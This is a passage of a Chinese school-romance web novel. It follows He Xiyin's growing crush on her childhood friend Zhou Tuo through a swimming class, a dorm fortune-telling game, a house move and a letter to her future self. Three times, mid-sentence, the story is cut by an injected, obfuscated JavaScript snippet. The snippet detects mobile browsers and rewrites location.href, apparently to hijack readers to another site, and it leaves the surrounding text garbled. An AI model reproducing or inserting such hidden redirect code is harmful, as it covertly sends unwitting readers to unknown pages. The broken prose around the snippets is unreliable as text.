“我以为体育课能看帅哥。结果……全是排骨精、白斩鸡……”徐子欣啧啧,嫌弃之意从白眼里翻出。 “周拓选的什么?”她问。 何希音回:“乒乓球。” “他怎么没选游泳。他们宿舍全在这啊。” “没选上。”何希音解释,“选课那天,他在办公室登记寒假作业缴交情况,等登上选课系统,只剩乒乓了。” “乒乓简单吗?要不我下学期也选乒乓好了。”徐子欣考虑着。 “我帮你问问他?” “好呀。” “嗯。” 正说着话,游泳馆门打开,又进来一队人马。 体育老师问:“你们是选游泳的吗?” “不是。我们选的事乒乓。”领头的男生解释,“乒乓球馆今天闭馆清扫,我们没法上改自由活动了。我们想来游泳。老师,可以吗?” 来的人衣服都换好了,老师应下:“热身以后再下水。注意安全。不许去深水区。有问题随时喊我。” 周拓也来了。 徐子欣的胳膊肘戳何希音腰窝:“有料的来了。” “你在说什么。”何希音啧声。 徐子欣眯着眼笑:“别演。”她拉过何希音,两手托住她下颌,把她的视线钉在周拓身上,“宽肩窄腰倒三角,手臂有线条,腹部有肌肉。这还不是有料!” 她松手,感动到流泪:“终于来了个能看的。课没白选!” 何希音转头,周围的女生也在窃窃私语,视线都看向周拓那里,明明那站着一排的男生,但焦点只在周拓……的腹肌上。 孙舟抬手狂挥:“老大。这里。” 周拓食指压在唇上示意他闭嘴,他即刻闭嘴,收了嗓子眼里的喇叭。周拓侧目,往何希音这瞧了眼,微微颔首,就算打过招呼了。 何希音以撇嘴作为回应。 她也不知道为什么,莫名地别扭。她和周拓认识好多年,他头顶的发旋朝右,她都知道。可这刻,面对只穿泳裤的周拓,像一座雕塑上安了个周拓的脑袋,她感到陌生,感到尴尬。 她别过脸去,闷在角落。 下课铃敲响,同学陆续离开泳池。许多人把毛巾放在泳池旁的长凳上,那么多条毛巾叠在一起,暴露在露天,时不时有上岸的抓起就擦,再丢回去。何希音宁可湿着多走一段回更衣室,也不想把毛巾放在那。 她爬上池子,没戴眼镜,眯着眼,低着头,在岸边找凉拖。越着急,越看不清,水顺着刘海淅淅沥沥地往下淌,两手抱着胳膊,手掌搓热胳膊,搓掉一茬又一茬的鸡皮疙瘩。 呼—— 头顶盖下一条浴巾。厚实的,宽大的,干燥的,瞬间吸掉流淌的水,裹住身体,挡住冷风。 她抬眸。 周拓站在身侧,身上也披着条浴巾。 他扬了扬手里的塑料袋:“新的。干净的。” “谢谢。”她说。 鼻尖却挨了下。 “不用。”周拓捏她鼻尖,指背刮过她侧脸,最后落在鼻尖上点了点,“走了。” 徐子欣在前面喊她。 何希音裹着浴巾,低头从他面前跑过,回到更衣室,简单冲洗,擦干净身体,换上校服。更衣室潮湿闷热,梳妆台前,十几个吹风机同时运作,暖风扑面,每个人的脸都泛着红晕。 何希音摸了摸脸。 徐子欣的手刚洗过凉水,冰冰凉凉的,贴在她脸上:“嘶。好烫。”她捧着何希音的脸,凑得无限近,左瞧右看,摸她额头,“你生病了?” 何希音捂着脸否认:“是水太热了。” “行吧。赶紧吹完出来。我们去食堂吧。”徐子欣站在化妆镜前擦脸。 何希音拿下吹风机对着头发猛吹,以手梳开头发,心里烦,头发也跟她作对,发尾的结越缠越紧,她关掉吹风机,拿梳子慢慢梳理。梳着梳着,她开始走神,眼睛盯着桌面发呆,脑袋里浮现的是周拓的两排腹肌,紧实的肌肉,绷直的线条,白皙的肤色,水珠顺着淌进围在下半身的毛巾,润湿一片。 “希音。希音。”徐子欣的手在她眼前晃。 “你在想什么?”她问。 “我才没有想周拓!”何希音不加思索地脱口而出,说完才意识到这话有多蠢,简直是此地无银三百两。 徐子欣眯着眼:“噢。周拓呀~” 越抹越黑,何希音闭嘴沉默。 徐子欣拉着她去食堂,吃完,距离晚自习还有一段时间,两人回宿舍。今天是周五,明天就能回家,这刻没人赶着洗衣服,都收拾进行李袋,准备带回家。室友都在,有的躺在床上刷手机,有的坐在桌边背单词。 徐子欣拿出本心理册子。 “要不要来做测试?” “什么测试?”室友纪冬妍搭话。 徐子欣说:“测什么都可以。可以测桃花、可以测学业,什么都行、测寿命,什么都能测。” “我我我!”纪冬妍举手,“我要测桃花。” “你呢?希音要测什么?” “我测学业吧……”她回答。 徐子欣却摇头:“不不不。你应该测桃花。” “为什么?” “学业、寿命这种测了,万一不符合心理预期会影响生活的。桃花就无所谓了,反正是找个乐子。哎呀。测桃花嘛。都测这个嘛。一起测。”不等她们回复,徐子欣拿出几张白纸和笔分发下去,翻到对应的测试页,清嗓子,开始念题,“现在测的是未来伴侣的姓氏。” 何希音瘪嘴:“这怎么可能测得出来。” 纪冬妍跃跃欲试:“玩玩而已嘛。” 徐子欣说:“把你们的手掌按在纸张上,画下手掌轮廓,在五指的位置写上最喜欢的五个姓氏。” 纪冬妍没有丝毫犹豫,提笔写下。 徐子欣:“哎哟。这么快。” 纪冬妍也不藏着掖着,指着姓氏解释:“吴彦祖、彭于晏、孙悟空、妈妈的姓,还有纪冬妍的纪!” “你这还是跨次元呀。” “当然。猴哥是我偶像。” 何希音不追星,写下勉强写下四个姓氏,再想不出别的,顿在那里犹豫。 徐子欣催:“你写周呗。” “为什么要写周?”她反问。 徐子欣说:“常见姓氏呀。又不一定能选到。还是……你有什么备选人呀?” “才没有。”被这么一激,何希音当然不能认写周会联想到周拓,挥笔在小指的位置写下‘周’。 只是游戏而已。 徐子欣继续念题:“现在写下你们的生日。一到三月出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256804|166246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生的加1分,四到六月出生的加2分,七到九月出生的加3分,十到十二月出生的加4分。” “南方人加1分。北方人加2分。” 连续问了十几道题。 纪冬妍问:“好多呀。还有几题啊?!” 徐子欣答:“最后一题啦。在加上你们理想结婚的年龄。” “算好了吗?”徐子欣指着最初的那个写姓氏的手掌印,“最后分数末尾是1的就是大拇指,末尾2的就是食指,以此类推。” 纪冬妍说:“我的末尾是6怎么办啊?” 徐子欣指向大拇指:“那就还是大拇指呗。” 纪冬妍尖叫:“吴彦祖!好!好姓氏!我爱帅哥!” 徐子欣凑近:“希音你是什么?” 何希音以迅雷不及掩耳,划掉纸张末尾的‘45’,又添一笔改成‘46’。 她说:“我的末尾也是6。李。李白的李。” “这样呀。”徐子欣似是有些失望,合上测试书。纪冬妍却意犹未尽,拉着她要测别的,徐子欣继续拿白纸出来,翻开新的测试题。 何希音将纸对折几次放进书包。 她说:“我先去教室。” “好呀。我们一会再去。”纪冬妍挥手。 离开宿舍,何希音脚步沉重,走向教学区的每一步都拖得很长,一步一顿,低着头,看着地砖缝,心乱如麻。她很清楚那个测试题的答案不是‘李’,是‘周’,周拓的‘周’,周是常见姓氏,可她认识的同学里只有周拓。 难道周拓是…… 不是。不是。才不是。 她的人生怎么会困在五个姓氏里。 何希音加快脚步,一路向教学楼小跑。 教学楼一层新摆了台自动售卖机,周拓站在那投币。他一手插兜,一手操作机器。 远远的,只看背影,何希音就认出他。 她往旁边绕远几步,企图躲开他的视线范围上楼。 脚刚踩上台阶,身后传来冷冷的声音—— “你干坏事了?” “躲着我干嘛?” 周拓迈步,先行踏上台阶,手肘撑在墙面,堵住她的去路,手上握着的汽水伸向她:“要么?” “新口味。” “葡萄味的。” “喝不下。”何希音婉拒。 周拓松开手,让出路。右手握着汽水罐,食指勾住拉环,轻轻一扯,单手拉开钩环,仰头喝。葡萄味浓郁,开盖就能闻见,他喉结滚动,喝的很爽,何希音咽唾沫,似乎也尝到甜甜的汽水。 “那个毛巾我洗干净再还你。” “送你了。” “我还是还你吧。” “随你。” 上至二层,何希音要往左。 周拓叫住她:“明天早上要一起回家吗?” “不了吧。我不知道几点起。”回家的公车很多,何希音不定闹钟,都是一觉睡到自然醒,下楼买个煎饼,再回家。这学期周末校乐队有活动,她很久没和周拓一起走了。 周拓耸肩:“无所谓。我可以等你。” “太浪费时间了。算了。” “行吧。” “我去晚自习了。” 周拓伸手,覆在她头顶,摸了摸,嗓音低沉却轻柔:“去吧。” 回到座位,何希音卸下书包,拿出作业本,连带着把那张测试纸抽出来了。她拿起记号笔涂黑测试纸,对折再对折再对折,藏进抽屉深处。 前桌瞧见:“试卷吗?” 何希音摇头:“没有。不是什么重要的东西。” 抽屉深处,褶皱的纸慢慢回弹展开,露出被涂黑的一角。那是一个被涂黑的‘周’字。 13. 柠檬软酪 周五晚上的宿舍是最热闹的,明天不用上课,没有阿姨查寝,熄灯后,每个人都没有睡意,躺在床上,隔着床帘聊天。 纪冬妍没上床,坐在桌边,举着手机手电照明,全神贯注地贴纸。 徐子欣趴在床边:“这图你贴一个月了吧?” “不止。我贴一学期啦。”纪冬妍举起手里的贴纸,用手电照亮,向室友展示,“这幅图特别难贴,有很多细节呢。每天贴一点,一学期正好完成。等期末考结束,我就可以用画框裱起来了。” “你可真有耐心啊。”徐子欣佩服又不解,“这东西有这么吸引人吗?” 纪冬妍贴的是造景贴纸,最终成品只有巴掌大,但那么小的场景面板上覆盖着无数贴纸。她现在贴的是场景底图是图书馆,自带的贴纸只有书架,她又购买了许多人物贴纸、书本贴纸剪裁贴进场景里。 “这个可以培养专注力。烦恼的时候就坐在这贴纸,贴着贴着,就忘记烦恼了。这是一个创造的过程。很治愈呢。”纪冬妍说。 何希音此刻脑袋充斥的全是周拓那具陌生的身体,急需一个东西把这些杂念清出脑子。她爬下床:“还有贴纸吗?我也想贴。” “好呀好呀!”纪冬妍拿出一副新的,“给你。你要是喜欢,暑假我们可以一起去商店买新贴纸。” 何希音坐下,拆开场景面板,拿到的是音乐吧。她看着贴纸,在脑海中勾勒音乐吧的样子,想象哪个贴纸该在哪个位置。再拿镊子取下贴纸,贴进场景里。 “确实很治愈。”她感叹。 纪冬妍为安利成功而喜悦:“你喜欢啊!太好了!” 何希音拿到的是基础款的造景贴纸,约莫半小时就贴完了,她转头,纪冬妍那边也贴的差不多了,另外两个室友的床帘黢黑,应该是睡下了,两人蹑手蹑脚地上床。 何希音躺在床上,脑子倒是不想周拓了,却依旧无眠,闭眼躺在床上,很久才睡着。睡没多久,有一缕光照到眼皮子,她迷迷糊糊地睁眼,看腕表,已经是七点了。她拉开床帘,对面的床铺空了,隔壁的纪冬妍还在睡。 昨天睡得晚丝毫不耽误今天醒得早。 何希音起床洗漱,背包下楼。以往这个时间,食堂是人最多的,周末许多人起早赶第一班公车回家。何希音没什么胃口,买了煎饼豆浆,边咬边往车站走。 “希音。” 何希音转过身。 周拓和孙舟刚出宿舍区。周拓挎着单肩包,穿着宽松的休闲短裤,两条笔直的腿形如竹节,他抬手,用口型说‘等我’。 旁边的孙舟脚上像装了弹簧:“老大!”他冲过来,速度太猛,一时还停不下来,绕着何希音转圈,“你今天起这么早啊。刚下楼,拓哥还说可能遇不上你了。” “我……” “哇。你黑眼圈好重。”孙舟指着她的熊猫眼,“你昨天没睡?有烦恼?” 这人的嘴像租来的,着急还,问起来就没完。何希音在他做出奇怪猜测前,迅速斩断话题:“我和纪冬妍昨天在弄造景贴纸。” “那是什么?”孙舟问。 何希音掏出昨夜贴的:“就是这种。好看吧。” 孙舟抬了下眼镜,凑近,看到层层叠叠的贴纸,不由感叹:“女侠真是好耐心。” 周拓提着早餐走过来:“你什么时候开始贴这个了?” “昨天。”何希音收好贴纸。 三人并肩往校门走。何希音慢他们一步,跟在后面,孙舟穿着夏季校服长裤,均码校裤,没设计,没版型,显得腿部臃肿。周拓穿的短裤,一双肌肉紧实,线条流畅,修长笔直的腿暴露在外,很是惹眼。 昨日的纠结在这刻得到解答。 喜欢美好的事物是人之常情,周拓这身材,谁走过都得多看两眼,不是她的问题,是周拓有问题。 他!怎!么!变!得!这!么!骚!包! 想通这点,何希音对他怨念更深。 周拓问:“你那什么表情?” 何希音撇嘴:“你怎么不穿长裤?” “大小姐。这是夏天。热啊。”周拓有些无奈,勾指,弹她前额,很轻,像羽毛拂过。 “最好是。”何希音又想起昨天游泳课,所有人都在看他。她才不信单纯是因为热,夏宜市的夏天从来都是这么热,他以前也穿着夏季长裤。她自言自语,“觉得自己身材好极了,棒呆了,爱炫吧。” 周拓耳朵动了动,尽数听了去。 “确实。我的身材还真是好极了。棒呆了。”他俯身,贴在她耳边,声音很轻,只有她能听见,距离很近,她能感觉他柔软的唇,他温热的呼吸,钻进耳廓,痒痒的。 她推开他:“周拓!!” 她羞红脸,因为他突然的凑近,因为她的无处可躲,也因为他的自信。 “你真敢说。”她嘘声。 周拓耸肩:“说的是实话。” 孙舟去的方向和两人相反,三人在校门口分别,孙舟离开,少了个喇叭,两个人安静地朝车站走。 或许是社团不同,或许是学业太忙,两人不像以前那样天天黏在一块,何希音没那么关注他,现在她看着身侧人,觉得他这一年的变化很大。他爱笑了,自信了,个性更鲜明。不对,应该说,周拓一直很自信。他做什么都胸有成竹,也不算低调,数学竞赛获奖,他上台领奖,老师问他是不是花了很多时间刷题,让他谈一下学习方法。周拓说“我是花了很多时间写题,因为我从小就对数学感兴趣,对数字很敏感。这是天赋。” 他的不爱说话稍稍隐去他的锋芒。 但在他擅长的领域,他任何时刻都耀眼。 何希音慢下脚步。 肩膀却被他揽过。 周拓的手臂搭在她左肩,手覆在头顶,宽大的手掌包着她半个后脑勺:“走路的时候别发呆。” “哦。”何希音两手抓着书包带,加快跟上。 两人走了一段,抵达公交站。何希音以为到地方他会松手,但没有,他的手仍挂在她肩膀,半搭半揽的。 “周拓……”她想提醒。 下秒下颌就被他捉住。 他的手绕过脖颈,虎口托住她下颌,修长的手指捏在她嘴角,像揉面团那样搓她的脸,捏一下,松一下的。她被迫扬起脸,看着他。 周拓比她高出太多。 他低着头,眼神茫然,嘴角却勾着坏笑:“干嘛这样看我?嗯?”上挑的尾音戏谑,抓人。 “你变了。”她说。 “是嘛。变哪了?”周拓好心松手,“我听听。” 何希音诚实回答:“你以前像机器人。” “我知道。《机器人观察日记》。你写的。” 何希音惊讶,但没感到意外,以前两人天天一起写作业,她的日记本不是秘密,经常和作业本叠在一起。 周拓问:“观察的情况如何?” “你不像机器人了。” “什么时候开始这么觉得的?” “很久以前……” 很难讲出具体时间点,但她早就知道他不是。 “我以为你只关心学习,只喜欢写题,读不懂人类情感,不懂别人在开心还是生气。后来发现不是……” “我能读懂一些。但不想浪费时间去了解。”周拓说。 “这样呀。”何希音发出不屑的‘嘁’,小声嘟囔,“真够拽的。” 她耸肩:“那就谢谢大少爷百忙之中抽出时间了解我这个平凡人类。” “少阴阳怪气。”周拓的手就在她嘴边,轻而易举地就捏住她的嘴,让她发不出声,他先捏再揉,忽然敛了笑,“何希音,你有没有想过我为什么这样?” 何希音摇头:“为什么?” 周拓笑:“因为你不一样。” 这时,公车抵达车站,携着风,吹起他的嘴角,拂过她的脸颊。周拓垂下揽着她肩膀的手,转而捉住她手腕,牵着往前:“走。回家。” — 期末考结束。放暑假了。周拓要搬家了。 几辆卡车停在小区,工人一趟上,一趟下地搬运家具。 “你家的房子要卖了吗?”她问。 周拓答:“暂时不会。我爸的书签了新出版社,对方给的价钱不错,现在书上市,销量好,又谈了新合作。我们在距离妈妈医院更近的地方买了房。这样方便她上下班。” “大房子吧?” “是稍微大一点。” 何希音和他站在那,仰着头往上看。 周拓家在四楼。中间楼层。不矮也不高。一抬头就能看到他的房间,她经常坐在这等他下楼,每次他开门,何希音就开始数数,看着他绕着楼梯一层层下来,数到一百的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15277113|166246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候,他刚好出来。 “你家要出租吗?” “暂时不会。” “空着呀。”何希音觉着好浪费,临近开学季,租房市场火热,捱过这阵,就要跌价了。 周拓说:“也许我会继续住在这。” “为什么?”她眨眼。 周拓望向她,很久很久,才说:“离学校近。” — 如他所说,周拓搬家了,但他没搬。他还住在何希音隔壁,原先的屋子是住宅也是周承安的工作室,各处都堆着颜料和绘画参考书。父母的东西搬走,整个家像被掏空了,只剩个空壳。 周拓房内的书架也空了大半。 何希音以为剩下的会是他热爱的竞赛题,没想到全是少女漫,是她买的,她怕何乐仪说她不务正业,买来就堆在周拓这。 “我竟然在你这存了这么多书!” “是啊。”周拓数了数,“三排书架全是你的。” “呃……那我抱回家吧。”何希音伸手去拿。 周拓阻止:“放着吧。不碍事。我用不上这里。” 她问:“你的那些竞赛书不放这吗?” “写完就扔了。”他指头,“我记在脑子里。” “快开学了。你要去买文具吗?”何希音发出邀请。 “可以。” 两人背包去超市。 为买文具而来,逛了一小时,购物车里零食、漫画,什么都有,就是没有文具,文具柜台在二楼,靠近收银台,一走到附近,何希音就头疼,心疼要结束的暑假。只有抽屉里那些没写完的作业明白她有多期望暑假永远不结束。 “周拓。”周拓的室友打招呼,推着购物车走来,走近看到何希音也在,含笑的眼眸带着几分八卦,“哟。带小青梅来逛超市啊。” 何希音转身,对着货架发呆,当做没听到他们的话。 周拓严肃:“朋友而已。” “是是是。”室友换话题,“你物理卷写完没?借我参考一下呗。” “晚上我拍照发群里。” “ok。ok。我等着哈。” 室友又看一眼何希音,嬉皮笑脸的:“你们慢慢逛。” “他有病。别听他的,”周拓说。 “哦。”何希音撇了撇嘴。 — 开学,何希音提着行李箱去宿舍。高二,重新分班,宿舍也更新,徐子欣和她还在一个寝室,她刚进宿舍区,看见她提着水壶在开水房排队,过去打招呼。 “子欣!” “希音~” 徐子欣往她身后看。 何希音不解:“你在找什么?” “周拓。”徐子欣问,“他没和你一起来吗?” “没有啦。他下午过来。” “好吧。”徐子欣笑,“我以为你们俩会一起来。你们俩不是总在一起。青梅竹马嘛。” 又是这个词。 何希音有些难堪:“普通朋友而已。” 青梅竹马这个词本身只是从小一起长大的玩伴,被各种言情故事赋予暧昧情节后,再听到就会红了脸颊。尤其是用在她和周拓身上。 周拓否认了这个说法。 何希音有些委屈,有些愤怒,有些不甘,又觉得奇怪。 她和周拓绝不止普通朋友,又不算青梅竹马。 毕竟他都否认了。 难道她要承认吗? 她开始有意躲避周拓。远远看到就绕道,实在躲不过,迎面遇上,就扯着徐子欣当盾牌,躲在她身后。 越怕什么就越遇上什么。 周末,她从补习班回家。 周拓坐在楼门口的长凳上。 她得回家,必须经过他。 踌躇片刻,若无其事地走过去:“周拓。” “这么晚了,你坐在这干嘛?” 周拓拍了拍身侧。 她坐下。 周拓指天:“今天的月亮很圆。” “是啊。”她仰着头。 “你在躲我。”他忽然开口。 何希音惊着,抿唇咽唾沫,保持着仰头的姿势,试图转移话题:“是不是快十五号了,月亮这么圆。” 他沉声:“何希音。” “我没有。”她狡辩。 周拓侧目:“我们还好吗?” 14. 柠檬软酪 ‘我们还好吗?’ 这句有两种断法。 ‘我们/还好吗’和‘我们/还/好吗’ 这句话无论是哪种解释,何希音此刻的回答都是肯定的‘嗯’,也只能是这个。 “是嘛。”周拓深邃的黑眸像暗流涌动的深海,他对何希音的回答是有疑问的,几欲开口,最终还是咽下了,嘴角扯笑,故作轻松地,“没事就好。” 月光下,是两人斜长的身影,叠在地面。何希音的影子仰着头望向月亮,周拓的影子也仰着头,却侧向她的方向。 “周拓。” “嗯?” “你说月亮上有生命吗?” “目前尚未探测到生命,也无法确定没有生命。”他说。 “你觉得呢?” “也许有吧。” “如果有,她也在看我们吗?” “会吧。” 好圆的月亮,像明镜,像玉盘,像珍珠。皎洁白亮,隔着云雾,隔着光年。明明是这么无瑕的圆月,何希音却特别想哭。在两人的关系里,她找不到自己的位置了,这种纠结和困惑周拓不能帮她,只能她自己去寻找答案。 她忽然站起身。 “我要回家了。” “嗯。” 周拓坐在长椅,目送她上楼,一直到楼道灯熄灭很久,到浓云盖住月亮,他才插着兜,慢慢走回家。 — 乔喻升入高三,校乐团和魔方社纳新的任务交到何希音肩上。其实何希音一点不想管这些事,进社团纯粹是为了解魔方和学吉他,为了完成课外学分。她学的很认真,硬生生学成骨干成员。 社团开会,乔喻已制作好纳新传单,将任务分发下去。何希音只需要在社团活动日守在摊位即可。 其他人离开,何希音留下来打扫活动室。 乔喻拿抹布擦洗乐器柜。 他认真仔细,不放过任何边角,拿出教学乐谱时,眼神全是不舍,动作轻缓了许多。 “这些乐谱是学长学姐留下的。” “我用的那本多亏有他们的标注。” “你为什么选吉他?” 话题转得好快,何希音愣了几秒才说:“因为有学姐在教。” “我以为你会学钢琴。周拓不是会这个吗?” “是啊。他会。”何希音撇嘴,“因为他会。我才不要和他学一样的。” “为什么?” “就……很奇怪啊。”何希音回忆,“他会。我弹的是好是坏,他就一清二楚了啊。不想让他觉得我弹不好。” “原来是这样。”乔喻似懂非懂地点头,“你会来魔方社我也挺意外的。喜欢这个的男生居多。” “周拓会。我也想学。但我不能让他教。” “这又是为什么?” “哎呀。就是不想。” 具体为什么,何希音也说不清楚。 小时候,她常捧着数学题去问周拓,长大后,问他的次数急速减少。一方面是她成绩提高,不会的没那么多了,一方面是她很害怕和周拓拉开距离,很害怕被他发现她的愚钝。 乔喻又说了一些社团的事,何希音心乱如麻,左耳进右耳出,一点没往脑子里记。 “别提他了吧。”她突然开口。 乔喻迷茫:“谁?” 何希音后知后觉地摇头。 “没谁。” — 何希音买了辆自行车。 此后,她不需要赶公交,骑车去学校,锁在学校的车棚,周末再骑回家。 周拓有些惊讶:“我以为你再也不会骑自行车。” “我也以为。” 几年前,牧辽送了她一辆自行车,她学了一周,没学会,摔破两个膝盖,手臂也全是擦伤。何希音哭着说她讨厌自行车,这辈子都不会骑自行车。牧辽把车拿走,送给同事的女儿。 这次学车,何希音怕学不会被取笑,是偷着学的。车子放在牧辽那,周末下午去学,牧辽在后轮按上两个安全小轮,何希音骑上去不用害怕摔倒,她骑习惯了,牧辽再拆掉两个小轮。 两个月的时间,何希音熟练掌握,才把车骑回家。 “牧叔叔教你的?” “是的!” “这次……有哭吗?” “没有!”何希音摸鼻子,挺起骄傲的胸膛,“我超强的。我长大啦。不会再哭鼻子啦!” “周拓。以后我不坐公车啦!要骑车回家啦!” “注意安全。” “以后……周末你不用等我了。” “好。” 继续‘逃避周拓计划’是何希音坚持买自行车,坚持学自行车的目的。 因为她逐渐意识到,无论是被涂黑的测试题,还是让她万分纠结的‘朋友而已’都指向一个可怕的事实—— 她应该是喜欢周拓。 被他牵住手腕的羞怯,同在屋檐下躲雨的窃喜,令人安心的柑橘皂香,特意早起的周末,趴在阳台蹲守他出门的清晨,靠在他肩膀昏昏欲睡的午后,以及望向星空想要流泪的夜晚。 所有喜欢他的瞬间拼凑着她的十七岁。 她和他不仅仅只是朋友而已。 ‘我们还好吗?’ ‘不。周拓。’ ‘我不太好。’ — 今年的夏天像何希音此刻的坏心情,突如其来、莫名其妙。明明昨天还穿着长袖,今天就热得将人一棍子打进夏天,何希音擦了擦额角的汗,感叹这个夏天为什么这么随心所欲,想来就来。 夏天一来,小卖部的绿豆冰就成了稀罕物。 下课铃未敲,何希音就侧身弓腰,朝向门口,像只扑食的猎豹。 可惜,班主任先一步打断她的计划。 “希音。下课来办公室数卷子。” “好……”何希音有气无力。闷热的初夏,空调还未开启使用的初夏,没有绿豆冰续命,她和丧尸有什么区别。 她转头瞧见徐子欣,用口型说:“帮我买。” 徐子欣用手势回应:“ok。” 下节是体育课,下课铃一敲,教室瞬间空了。何希音站在走廊,看徐子欣冲进排长队的小卖部,暗自捏了把汗。 “到底为什么这么多人啊!”徐子欣站在队末哀嚎。 这时候,门口走进一群穿球服的男生,可能是刚训练完,携着青草泥巴和热汗的味道,热烘烘地冲进屋内。他们没排队,径直走向冰柜,提走一袋绿豆冰。 徐子欣瞪大眼睛。 队伍前面的人同样不满。 “他们怎么不用排队啊!” “太过分了吧!” “足球队就可以搞特殊吗?” 店员解释:“这是体育老师提前订的。” 冰柜里的绿豆冰少了一半,排在徐子欣后面的人也少了一半,不少人眼看着买不到,早早离开。 好巧不巧,排到徐子欣就没有了。 她跺脚:“为什么不多进一些呢?” “我们也没想到会突然升温。”店员安抚,“还有绿豆雪糕。你要吗?” “唉。算了。谢谢。”徐子欣悻悻离开。 绿豆冰能成为夏天的销冠不是没有理由的。 绿豆雪糕冻得邦硬,冰牙冻脑,冰汽水甜腻涨胃,只有介于冰水混合物之间的绿豆冰绵密沙软,清凉解暑,冰的刚刚好。 “徐子欣。” “嗯?”她转身,“周拓?” 周拓手里提着一杯她心心念念的绿豆冰。他拿过孙舟的那份,两份一起递出:“给她吧。” 孙舟反应慢半拍:“哎。老大。我……”都给出去了,才后知后觉是要给谁,悬空的手收回,笑着说,“给你吧。女士优先。” 徐子欣只收下一份:“我们体育课是一起上的。一会你自己给她呗。”她拼命眨眼,希望周拓不要辜负她的好意。 周拓读懂了,但没搭茬,执意把东西交给她。 徐子欣拍着胸脯:“放心。你的心意我会帮你好好传达的。” 周拓却摇头:“不必。” “交给她就够了。” 他拉着孙舟离开。 徐子欣提着两袋绿豆冰,等在楼梯口,看何希音下楼,抬手晃了晃。何希音眼睛亮了,加快脚步地冲下楼:“女侠。你果然可靠。” 徐子欣食指竖起,左右摇摆:“非也非也。” “知道这是谁给的吗?” “谁?”何希音扎破包装,猛吸一口。 “周拓。” “噗。”何希音喷出来。 徐子欣跳开:“这不是什么很意外的事吧!你至于么。” 何希音咳嗽,连连道歉,拿纸擦嘴,也拿纸给她。 “为什么是他。” “我没买到。他看到我,就把他和孙舟买的那份给我了。”徐子欣眼睛一眯,闪过些许狡黠,自顾自地分析,“不对。是看在你的份上给的。” “唉。我又不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288025|166246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他青梅竹马。谁管我啊。”徐子欣仰天长叹。 何希音推着她往操场走:“我也不是。” “快点快点。去上课了。” — 高考在即,每个人的神经都紧绷绷的,何希音也不例外。班会课上,班主任发下信纸。 班主任在黑板上写—— ‘你考上了——吗? 你还在坚持——吗? 你未来会成为——吗?’ 班主任说:“这是你们的未来三问。你们围绕这三个问题写一封信吧。可以是给十年后的你,也可以是给一年后的你。当然,我只能帮你们保存到高考结束那天。” 何希音拿到信纸,并不着急动笔,对着黑板的三个问题发愣。前后两个问题的答案在心里,但中间那个她想不到答案。有什么事是她会一直坚持下去的呢? 十年太长,一年太短,那就定五年吧。五年后,她刚好大学毕业,五年后,她会在哪里,会在做什么呢? 她想问问五年后的何希音。 ‘二十三岁的何希音你好。 今年的夏天来得特别早,热得人跳脚,热得人恍惚,热得人没胃口。不知道你收到信的那个夏天会像今年这样难过吗? 最近,我过的很不好,考前模拟不理想,退步了很多。 其实这段时间,我比以前更努力,每天早起背单词,晚自习结束会多留半小时写提高题。成绩仍旧不尽如人意。错题课上,我发现写错一道基础题。我也诧异我怎么会犯这种错,考场上的我好像不是我。 高三开始放温书假了,楼上教室已经搬空。乔喻说他要毕业的时候,我还有种不真实感,替他不舍。但这刻,我特别羡慕他,无论结果如何,他已经解脱了。 老师说错一道选择题,去的学校就会千差万别。 妈妈说只是模拟考,让我放松。 可我太害怕了。 我特别焦虑,时常感到迷茫。 晚自习坐在教室,眼泪会不自觉地流下来。 我好像钻进了一条死胡同,想努力但没力气,拼命挣扎又害怕得到坏结果。 但我绝对不会放弃,我会尽快调整好心态,变成那个超牛的何希音!希望五年后的你可以品尝到我此刻用努力的汗水种下的硕果。 我相信你会的。 五年了。 你现在是不是在夏宜政法的教室写毕业论文?大学生活好玩吗?和新室友相处的愉快吗?你是否还在参加各种辩论赛?是否在为成为一名合格的律师积极努力着? 我有好多问题想问你。 有好多事情想和你分享。 请你保持积极,继续努力,在未来等我。’ 落款前,何希音犹豫许久,又添了一句—— ‘五年后,你和周拓是否还是好友?你还在暗恋他吗?’ 落款是—— ‘十七岁的何希音期待你的回答’。 信的末尾写着她藏在心底的秘密,封进信封后,她没有上交给班主任,夹在书里收进抽屉。这封信,她要好好珍藏,等到五年后,亲自拆开。 — 高考前夕,作为考点的教室需要清空抽屉。全校都放假了,不用晚自习。何希音把抽屉里的书带回宿舍。 她要走的时候,徐子欣拿出一本笔记说:“这是你抽屉里的。” “噢。对。”何希音随手放进自行车前篮。 两个年级同时放假,路上肯定挤满人,何希音又在宿舍磨蹭一会,在食堂吃完晚饭,才推出自行车,踩着夕阳的余晖往家的方向骑。 今天的风甚是喧嚣,擦着她耳膜刮过,吹翻衣领。 